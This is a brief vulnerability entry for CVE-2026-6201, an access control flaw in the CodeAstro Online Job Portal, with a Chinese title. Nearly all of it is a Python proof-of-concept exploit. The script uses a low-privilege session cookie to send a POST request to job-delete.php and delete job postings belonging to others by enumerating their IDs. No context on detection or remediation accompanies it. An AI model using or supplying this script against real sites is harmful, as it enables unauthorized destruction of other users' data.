CVE-2026-6201 CodeAstro Online Job Portal 访问控制缺陷

import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/jobs/job-delete.php" # Low-privilege user session cookie obtained after login session_cookies = { "PHPSESSID": "valid_low_priv_session_id" } # The ID of the job posting to be deleted (can be enumerated) victim_job_id = "45" # Data payload to send payload = { "ID": victim_job_id } try: # Send the POST request to delete the job response = requests.post(target_url, data=payload, cookies=session_cookies) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Exploit successful: Job ID {victim_job_id} has been deleted.") else: print(f"[-] Exploit failed or unexpected response.") print(response.text) except Exception as e: print(f"Error: {e}")